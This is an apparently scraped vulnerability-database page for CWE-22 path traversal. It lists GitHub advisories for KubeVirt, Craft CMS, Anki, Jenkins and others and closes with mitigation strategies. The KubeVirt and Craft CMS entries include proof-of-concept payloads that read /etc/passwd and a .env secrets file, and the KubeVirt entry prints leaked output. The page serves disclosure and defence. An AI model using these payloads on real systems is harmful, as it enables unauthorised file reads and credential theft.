CWE-22
Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
13025 vulnerabilities reference this CWE, most recent first.
GHSA-CVX8-PPMC-78HM
Vulnerability from github – Published: 2022-08-18 19:02 – Updated: 2022-09-30 00:44Duplicate Advisory
This advisory is a duplicate of GHSA-qv98-3369-g364. This link is maintained to preserve external references.
Original Description
Summary As part of a Kubevirt audit performed by NCC group, a finding dealing with systemic lack of path sanitization which leads to a path traversal was identified. Google tested the exploitability of the paths in the audit report and identified that when combined with another vulnerability one of the paths leads to an arbitrary file read on the host from the VM.
The read operations are limited to files which are publicly readable or which are readable for UID 107 or GID 107. /proc/self/<> is not accessible.
Severity
Moderate - The vulnerability is proven to exist in an open source version of KubeVirt by NCC Group while being combined with Systemic Lack of Path Sanitization, which leads to Path traversal.
Proof of Concept
The initial VMI specifications can be written as such to reproduce the issue:
apiVersion: kubevirt.io/v1
kind: VirtualMachineInstance
metadata:
name: vmi-fedora
spec:
domain:
devices:
disks:
- disk:
bus: virtio
name: containerdisk
- disk:
bus: virtio
name: cloudinitdisk
- disk:
bus: virtio
name: containerdisk1
rng: {}
resources:
requests:
memory: 1024M
terminationGracePeriodSeconds: 0
volumes:
- containerDisk:
image: quay.io/kubevirt/cirros-container-disk-demo:v0.52.0
name: containerdisk
- containerDisk:
image: quay.io/kubevirt/cirros-container-disk-demo:v0.52.0
path: test3/../../../../../../../../etc/passwd
name: containerdisk1
- cloudInitNoCloud:
userData: |
#!/bin/sh
echo 'just something to make cirros happy'
name: cloudinitdisk
The VMI can then be started through kubectl apply -f vm-test-ncc.yaml. The requested file is accessible once the VM is up and can be accessed under /dev/vdc.
Depending on the environment, path may contain more or less /.., something that can easily be tested by checking the events until the VMI can start without failure. Restrictions
SELinux may mitigate this vulnerability.
When using a node with selinux, selinux denies the access and the VM start was aborted:
19s Warning SyncFailed virtualmachineinstance/vmi-fedora server error. command SyncVMI failed: "preparing ephemeral container disk images failed: stat /var/run/kubevirt/container-disks/disk_0.img: permission denied"
type=AVC msg=audit(1651828898.296:1266): avc: denied { setattr } for pid=44402 comm="rpc-worker" name="passwd" dev="vda1" ino=691477 scontext=system_u:system_r:virt_launcher.process:s0:c255,c849 tcontext=system_u:object_r:passwd_file_t:s0 tclass=file permissive=1
After making selinux permissive the VM can boot and access /etc/passwd from the node within the guest:
$ sudo cat /dev/vdc
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
[...]
Further Analysis In order to mitigate this vulnerability, Sanitize imagePath in pkg/container-disk/container-disk.go following ISE best practices described and Add checks in pkg/virt-api/webhooks/validating-webhook/admitters/vmi-create-admitter.go
Timeline Date reported: 05/10/2022 Date fixed: N/A Date disclosed: 08/08/2022
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "kubevirt.io/kubevirt"
},
"ranges": [
{
"events": [
{
"introduced": "0.20.0"
},
{
"fixed": "0.55.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-1798"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2022-08-18T19:02:18Z",
"nvd_published_at": "2022-09-15T16:15:00Z",
"severity": "MODERATE"
},
"details": "## Duplicate Advisory\nThis advisory is a duplicate of [GHSA-qv98-3369-g364](https://github.com/advisories/GHSA-qv98-3369-g364). This link is maintained to preserve external references.\n\n## Original Description\n\n**Summary**\nAs part of a Kubevirt audit performed by NCC group, a finding dealing with systemic lack of path sanitization which leads to a path traversal was identified. Google tested the exploitability of the paths in the audit report and identified that when combined with another vulnerability one of the paths leads to an arbitrary file read on the host from the VM.\n\nThe read operations are limited to files which are publicly readable or which are readable for UID 107 or GID 107. /proc/self/\u003c\u003e is not accessible.\n\n**Severity**\n\nModerate - The vulnerability is proven to exist in an open source version of KubeVirt by NCC Group while being combined with Systemic Lack of Path Sanitization, which leads to Path traversal.\n\n**Proof of Concept**\n\nThe initial VMI specifications can be written as such to reproduce the issue:\n\n```\n\napiVersion: kubevirt.io/v1\nkind: VirtualMachineInstance\nmetadata:\n name: vmi-fedora\nspec:\n domain:\n devices:\n disks:\n - disk:\n bus: virtio\n name: containerdisk\n - disk:\n bus: virtio\n name: cloudinitdisk\n - disk:\n bus: virtio\n name: containerdisk1\n rng: {}\n resources:\n requests:\n memory: 1024M\n terminationGracePeriodSeconds: 0\n volumes:\n - containerDisk:\n image: quay.io/kubevirt/cirros-container-disk-demo:v0.52.0\n name: containerdisk\n - containerDisk:\n image: quay.io/kubevirt/cirros-container-disk-demo:v0.52.0\n path: test3/../../../../../../../../etc/passwd\n name: containerdisk1\n - cloudInitNoCloud:\n userData: |\n #!/bin/sh\n echo \u0027just something to make cirros happy\u0027\n name: cloudinitdisk\n\n\n```\nThe VMI can then be started through kubectl apply -f vm-test-ncc.yaml.\nThe requested file is accessible once the VM is up and can be accessed under /dev/vdc.\n\nDepending on the environment, path may contain more or less /.., something that can easily be tested by checking the events until the VMI can start without failure.\nRestrictions \n\nSELinux may mitigate this vulnerability.\n\nWhen using a node with selinux, selinux denies the access and the VM start was aborted:\n\n```\n\n19s Warning SyncFailed virtualmachineinstance/vmi-fedora server error. command SyncVMI failed: \"preparing ephemeral container disk images failed: stat /var/run/kubevirt/container-disks/disk_0.img: permission denied\"\n\ntype=AVC msg=audit(1651828898.296:1266): avc: denied { setattr } for pid=44402 comm=\"rpc-worker\" name=\"passwd\" dev=\"vda1\" ino=691477 scontext=system_u:system_r:virt_launcher.process:s0:c255,c849 tcontext=system_u:object_r:passwd_file_t:s0 tclass=file permissive=1\n\n```\n\nAfter making selinux permissive the VM can boot and access /etc/passwd from the node within the guest:\n\n```\n\n$ sudo cat /dev/vdc\nroot:x:0:0:root:/root:/bin/bash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nadm:x:3:4:adm:/var/adm:/sbin/nologin\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\n[...]\n\n```\n\n**Further Analysis**\nIn order to mitigate this vulnerability, Sanitize imagePath in pkg/container-disk/container-disk.go following ISE best practices described and Add checks in pkg/virt-api/webhooks/validating-webhook/admitters/vmi-create-admitter.go\n\n**Timeline**\nDate reported: 05/10/2022\nDate fixed: N/A\nDate disclosed: 08/08/2022",
"id": "GHSA-cvx8-ppmc-78hm",
"modified": "2022-09-30T00:44:46Z",
"published": "2022-08-18T19:02:18Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/google/security-research/security/advisories/GHSA-cvx8-ppmc-78hm"
},
{
"type": "WEB",
"url": "https://github.com/kubevirt/kubevirt/security/advisories/GHSA-qv98-3369-g364"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-1798"
},
{
"type": "PACKAGE",
"url": "https://github.com/kubevirt/kubevirt"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Duplicate Advisory: KubeVirt arbitrary host file read from the VM",
"withdrawn": "2022-09-30T00:44:46Z"
}
GHSA-CVXW-XP9J-7WF4
Vulnerability from github – Published: 2022-05-24 19:15 – Updated: 2022-05-24 19:15Dell NetWorker, versions 18.x and 19.x contain a Path traversal vulnerability. A NetWorker server user with remote access to NetWorker clients may potentially exploit this vulnerability and gain access to unauthorized information.
{
"affected": [],
"aliases": [
"CVE-2021-21569"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-09-28T20:15:00Z",
"severity": "MODERATE"
},
"details": "Dell NetWorker, versions 18.x and 19.x contain a Path traversal vulnerability. A NetWorker server user with remote access to NetWorker clients may potentially exploit this vulnerability and gain access to unauthorized information.",
"id": "GHSA-cvxw-xp9j-7wf4",
"modified": "2022-05-24T19:15:56Z",
"published": "2022-05-24T19:15:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-21569"
},
{
"type": "WEB",
"url": "https://www.dell.com/support/kbdoc/en-us/000188311"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-CW22-47J6-2CPF
Vulnerability from github – Published: 2022-05-24 17:34 – Updated: 2022-05-24 17:34In Ortus TestBox 2.4.0 through 4.1.0, unvalidated query string parameters to test-browser/index.cfm allow directory traversal.
{
"affected": [],
"aliases": [
"CVE-2020-15928"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-11-24T02:15:00Z",
"severity": "MODERATE"
},
"details": "In Ortus TestBox 2.4.0 through 4.1.0, unvalidated query string parameters to test-browser/index.cfm allow directory traversal.",
"id": "GHSA-cw22-47j6-2cpf",
"modified": "2022-05-24T17:34:52Z",
"published": "2022-05-24T17:34:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-15928"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/49078"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-CW29-QGM5-WVQC
Vulnerability from github – Published: 2022-05-13 01:28 – Updated: 2025-04-12 12:42Directory traversal vulnerability in the dp_img_resize function in php/dp-functions.php in the DukaPress plugin before 2.5.4 for WordPress allows remote attackers to read arbitrary files via a .. (dot dot) in the src parameter to lib/dp_image.php.
{
"affected": [],
"aliases": [
"CVE-2014-8799"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-11-28T15:59:00Z",
"severity": "MODERATE"
},
"details": "Directory traversal vulnerability in the dp_img_resize function in php/dp-functions.php in the DukaPress plugin before 2.5.4 for WordPress allows remote attackers to read arbitrary files via a .. (dot dot) in the src parameter to lib/dp_image.php.",
"id": "GHSA-cw29-qgm5-wvqc",
"modified": "2025-04-12T12:42:25Z",
"published": "2022-05-13T01:28:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-8799"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/98943"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/1024640/dukapress"
},
{
"type": "WEB",
"url": "https://wordpress.org/plugins/dukapress/changelog"
},
{
"type": "WEB",
"url": "http://security.szurek.pl/dukapress-252-path-traversal.html"
},
{
"type": "WEB",
"url": "http://www.exploit-db.com/exploits/35346"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-CW2M-PP37-H7M6
Vulnerability from github – Published: 2022-05-13 01:23 – Updated: 2025-04-20 03:46Directory traversal vulnerability in Cybele Software Thinfinity Remote Desktop Workstation 3.0.0.3 32-bit and 64-bit allows remote attackers to download arbitrary files via a .. (dot dot) in an unspecified parameter.
{
"affected": [],
"aliases": [
"CVE-2015-1429"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-10-06T22:29:00Z",
"severity": "HIGH"
},
"details": "Directory traversal vulnerability in Cybele Software Thinfinity Remote Desktop Workstation 3.0.0.3 32-bit and 64-bit allows remote attackers to download arbitrary files via a .. (dot dot) in an unspecified parameter.",
"id": "GHSA-cw2m-pp37-h7m6",
"modified": "2025-04-20T03:46:26Z",
"published": "2022-05-13T01:23:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-1429"
},
{
"type": "WEB",
"url": "https://www.perspectiverisk.com/security-advisory-thinfinity-remote-desktop-workstation-directory-traversal"
},
{
"type": "WEB",
"url": "http://www.cybelesoft.com/blog/index.php/cybele-software-inc-security-bulletin-2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-CW3G-MJRP-G48Q
Vulnerability from github – Published: 2025-07-29 18:30 – Updated: 2026-01-20 21:31MapTiler Tileserver-php v2.0 is vulnerable to Directory Traversal. The renderTile function within tileserver.php is responsible for delivering tiles that are stored as files on the server via web request. Creating the path to a file allows the insertion of "../" and thus read any file on the web server. Affected GET parameters are "TileMatrix", "TileRow", "TileCol" and "Format"
{
"affected": [],
"aliases": [
"CVE-2025-44137"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-29T17:15:33Z",
"severity": "HIGH"
},
"details": "MapTiler Tileserver-php v2.0 is vulnerable to Directory Traversal. The renderTile function within tileserver.php is responsible for delivering tiles that are stored as files on the server via web request. Creating the path to a file allows the insertion of \"../\" and thus read any file on the web server. Affected GET parameters are \"TileMatrix\", \"TileRow\", \"TileCol\" and \"Format\"",
"id": "GHSA-cw3g-mjrp-g48q",
"modified": "2026-01-20T21:31:30Z",
"published": "2025-07-29T18:30:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-44137"
},
{
"type": "WEB",
"url": "https://github.com/maptiler/tileserver-php/issues/167"
},
{
"type": "WEB",
"url": "https://github.com/maptiler/tileserver-php/commit/4fe14e6164bbe2a3f9e3b3d7acf303e3ec210c8e"
},
{
"type": "WEB",
"url": "https://github.com/mheranco/CVE-2025-44137"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-CW45-5QRW-CF7X
Vulnerability from github – Published: 2023-03-06 09:30 – Updated: 2023-03-11 03:30A vulnerability classified as problematic has been found in fastcms. This affects an unknown part of the file admin/TemplateController.java of the component ZIP File Handler. The manipulation leads to path traversal. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. This product does not use versioning. This is why information about affected and unaffected releases are unavailable. The associated identifier of this vulnerability is VDB-222363.
{
"affected": [],
"aliases": [
"CVE-2023-1191"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-03-06T08:15:00Z",
"severity": "HIGH"
},
"details": "A vulnerability classified as problematic has been found in fastcms. This affects an unknown part of the file admin/TemplateController.java of the component ZIP File Handler. The manipulation leads to path traversal. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. This product does not use versioning. This is why information about affected and unaffected releases are unavailable. The associated identifier of this vulnerability is VDB-222363.",
"id": "GHSA-cw45-5qrw-cf7x",
"modified": "2023-03-11T03:30:18Z",
"published": "2023-03-06T09:30:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-1191"
},
{
"type": "WEB",
"url": "https://github.com/my-fastcms/fastcms/issues/1"
},
{
"type": "WEB",
"url": "https://github.com/ha1yuYiqiyinHangzhouTechn0logy/fastcms/blob/main/README.md"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.222363"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.222363"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-CW5R-JX8R-9F7X
Vulnerability from github – Published: 2024-05-24 18:52 – Updated: 2024-11-07 19:20Jenkins Report Info Plugin 1.2 and earlier does not perform path validation of the workspace directory while serving report files.
Additionally, Report Info Plugin does not support distributed builds.
This results in a path traversal vulnerability, allowing attackers with Item/Configure permission to retrieve Surefire failures, PMD violations, Findbugs bugs, and Checkstyle errors on the controller file system by editing the workspace path.
As of publication of this advisory, there is no fix.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.plugins:report-info"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-5273"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2024-05-24T18:52:08Z",
"nvd_published_at": "2024-05-24T14:15:17Z",
"severity": "LOW"
},
"details": "Jenkins Report Info Plugin 1.2 and earlier does not perform path validation of the workspace directory while serving report files.\n\nAdditionally, Report Info Plugin does not support distributed builds.\n\nThis results in a path traversal vulnerability, allowing attackers with Item/Configure permission to retrieve Surefire failures, PMD violations, Findbugs bugs, and Checkstyle errors on the controller file system by editing the workspace path.\n\nAs of publication of this advisory, there is no fix.",
"id": "GHSA-cw5r-jx8r-9f7x",
"modified": "2024-11-07T19:20:34Z",
"published": "2024-05-24T18:52:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-5273"
},
{
"type": "PACKAGE",
"url": "https://github.com/jenkinsci/report-info-plugin"
},
{
"type": "WEB",
"url": "https://www.jenkins.io/security/advisory/2024-05-24/#SECURITY-3070"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2024/05/24/2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:U",
"type": "CVSS_V4"
}
],
"summary": "Jenkins Report Info Plugin Path Traversal vulnerability"
}
GHSA-CW6G-QMJQ-6W2W
Vulnerability from github – Published: 2024-11-13 14:15 – Updated: 2024-11-13 18:58Summary
By abusing the mail notification template it is possible to read arbitrary operating system files.
Details
The dataUrl function can be exploited if an attacker has write permissions on system notification templates. This function accepts an absolute file path, reads the file's content, and converts it into a Base64-encoded string. By embedding this function within a system notification template, the attacker can exfiltrate the Base64-encoded file content through a triggered system email notification. Once the email is received, the Base64 payload can be decoded, allowing the attacker to read arbitrary files on the server.
Requirements: * write permissions to system notification templates * ability to trigger a corresponding system email
PoC
1) Modify a template to contain the following twig template string:
{{ dataUrl('/var/www/web/.env') }}
2) Trigger the corresponding notification email (e.g. by resetting a password) 3) Receive the email and decode the base64 string
Mail received:
Decoded string:
Impact
1) Exposure of Sensitive Information: Arbitrary file read can lead to the exposure of sensitive data such as configuration files (e.g., /etc/passwd, .env, config.php), which may contain credentials, API keys, or database passwords. This can provide the attacker with further access to the system or connected services.
2) Privilege Escalation: If the attacker is able to read files that contain privileged information, such as credentials for other systems or applications, they may be able to escalate their privileges beyond what the web admin role originally allowed, potentially gaining full control over the server or other related systems.
3) Server Compromise: Access to files like SSH keys, private certificates, or system configuration files can lead to the complete compromise of the underlying server. With this information, an attacker could remotely log in to the server or impersonate it in secure communications.
4) Exfiltration of User Data: The ability to read arbitrary files may allow an attacker to access user data, such as stored passwords, session tokens, or private information (like uploaded files or logs), leading to a breach of confidentiality and violating privacy regulations (e.g., GDPR).
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.4.7.1"
},
"package": {
"ecosystem": "Packagist",
"name": "craftcms/cms"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0-alpha.1"
},
{
"fixed": "5.4.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.12.6.1"
},
"package": {
"ecosystem": "Packagist",
"name": "craftcms/cms"
},
"ranges": [
{
"events": [
{
"introduced": "3.5.13"
},
{
"fixed": "4.12.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-52292"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-552"
],
"github_reviewed": true,
"github_reviewed_at": "2024-11-13T14:15:39Z",
"nvd_published_at": "2024-11-13T17:15:12Z",
"severity": "HIGH"
},
"details": "### Summary\nBy abusing the mail notification template it is possible to read arbitrary operating system files. \n\n### Details\nThe [dataUrl](https://craftcms.com/docs/3.x/dev/functions.html#dataurl) function can be exploited if an attacker has write permissions on system notification templates. This function accepts an absolute file path, reads the file\u0027s content, and converts it into a Base64-encoded string. By embedding this function within a system notification template, the attacker can exfiltrate the Base64-encoded file content through a triggered system email notification. Once the email is received, the Base64 payload can be decoded, allowing the attacker to read arbitrary files on the server.\n\nRequirements:\n* write permissions to system notification templates\n* ability to trigger a corresponding system email\n\n### PoC\n1) Modify a template to contain the following twig template string:\n```twig\n{{ dataUrl(\u0027/var/www/web/.env\u0027) }}\n```\n2) Trigger the corresponding notification email (e.g. by resetting a password)\n3) Receive the email and decode the base64 string\n\nMail received:\n\n\nDecoded string:\n\n\n\n### Impact\n1) Exposure of Sensitive Information: Arbitrary file read can lead to the exposure of sensitive data such as configuration files (e.g., /etc/passwd, .env, config.php), which may contain credentials, API keys, or database passwords. This can provide the attacker with further access to the system or connected services.\n\n2) Privilege Escalation: If the attacker is able to read files that contain privileged information, such as credentials for other systems or applications, they may be able to escalate their privileges beyond what the web admin role originally allowed, potentially gaining full control over the server or other related systems.\n\n3) Server Compromise: Access to files like SSH keys, private certificates, or system configuration files can lead to the complete compromise of the underlying server. With this information, an attacker could remotely log in to the server or impersonate it in secure communications.\n\n4) Exfiltration of User Data: The ability to read arbitrary files may allow an attacker to access user data, such as stored passwords, session tokens, or private information (like uploaded files or logs), leading to a breach of confidentiality and violating privacy regulations (e.g., GDPR).\n",
"id": "GHSA-cw6g-qmjq-6w2w",
"modified": "2024-11-13T18:58:35Z",
"published": "2024-11-13T14:15:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/security/advisories/GHSA-cw6g-qmjq-6w2w"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-52292"
},
{
"type": "PACKAGE",
"url": "https://github.com/craftcms/cms"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Craft CMS Arbitrary System File Read"
}
GHSA-CW6H-FFMH-X6VH
Vulnerability from github – Published: 2026-06-19 22:10 – Updated: 2026-06-19 22:10Summary
Anki's webview-based pages communicate with the Rust backend using an internal localhost API. Anki implements measures to prevent user scripts run in the reviewer/editor from accessing this API (https://github.com/ankitects/anki/pull/3925) but it inadvertently allows access to scripts included via iframes in the editor. While overall only a limited set of API methods are exposed, some such as getImageForOcclusion can read arbitrary files.
CWE: CWE-22 (Path Traversal) Reporter: Bankde (Eakasit)
Affected Products
| Ecosystem | Package | Affected Versions |
|---|---|---|
| PyPI | aqt |
<= 25.09.3 |
Impact
Any desktop Anki user (Windows, macOS, Linux) who imports an untrusted .apkg and views card with an embedded iframe is vulnerable. No special configuration is required. The attacker can read any file accessible to the Anki process and exfiltrate its contents over the network.
Patches
A patch is available in 25.09.4
Workarounds
- Do not import
.apkgfiles from untrusted sources. - Inspect
.apkgcontents (it's a ZIP) for.html/.svgfiles with<script>tags before importing. - Block unexpected outbound network requests from the Anki process at the firewall level.
References
- Vulnerability report: Anki arbitrary file read vulnerability (with exfiltration) — Bankde (Eakasit)
- Affected source:
qt/aqt/mediasrv.py::_handle_local_file_request - Related prior CVEs: CVE-2024-29073, CVE-2024-32484, CVE-2025-62185, CVE-2025-62187
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 25.9.3"
},
"package": {
"ecosystem": "PyPI",
"name": "aqt"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "25.9.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-19T22:10:19Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nAnki\u0027s webview-based pages communicate with the Rust backend using an internal localhost API. Anki implements measures to prevent user scripts run in the reviewer/editor from accessing this API (https://github.com/ankitects/anki/pull/3925) but it inadvertently allows access to scripts included via iframes in the editor. While overall only a limited set of API methods are exposed, some such as `getImageForOcclusion` can read arbitrary files.\n\n**CWE:** CWE-22 (Path Traversal)\n**Reporter:** Bankde (Eakasit)\n\n## Affected Products\n\n| Ecosystem | Package | Affected Versions |\n| --------- | ------- | ----------------- |\n| PyPI | `aqt` | `\u003c= 25.09.3` |\n\n## Impact\n\nAny desktop Anki user (Windows, macOS, Linux) who imports an untrusted `.apkg` and views card with an embedded iframe is vulnerable. No special configuration is required. The attacker can read any file accessible to the Anki process and exfiltrate its contents over the network.\n\n## Patches\n\nA patch is available in 25.09.4\n\n## Workarounds\n\n- Do not import `.apkg` files from untrusted sources.\n- Inspect `.apkg` contents (it\u0027s a ZIP) for `.html`/`.svg` files with `\u003cscript\u003e` tags before importing.\n- Block unexpected outbound network requests from the Anki process at the firewall level.\n\n## References\n\n- Vulnerability report: _Anki arbitrary file read vulnerability (with exfiltration)_ \u2014 Bankde (Eakasit)\n- Affected source: [`qt/aqt/mediasrv.py::_handle_local_file_request`](https://github.com/ankitects/anki/blob/5a9b54e9380c66e26391f0827867d2a728107836/qt/aqt/mediasrv.py#L223)\n- Related prior CVEs: [CVE-2024-29073](https://nvd.nist.gov/vuln/detail/CVE-2024-29073), [CVE-2024-32484](https://nvd.nist.gov/vuln/detail/CVE-2024-32484), [CVE-2025-62185](https://nvd.nist.gov/vuln/detail/CVE-2025-62185), [CVE-2025-62187](https://nvd.nist.gov/vuln/detail/CVE-2025-62187)",
"id": "GHSA-cw6h-ffmh-x6vh",
"modified": "2026-06-19T22:10:19Z",
"published": "2026-06-19T22:10:19Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ankitects/anki/security/advisories/GHSA-cw6h-ffmh-x6vh"
},
{
"type": "PACKAGE",
"url": "https://github.com/ankitects/anki"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Anki: User scripts in iframes have access to the internal Anki API"
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
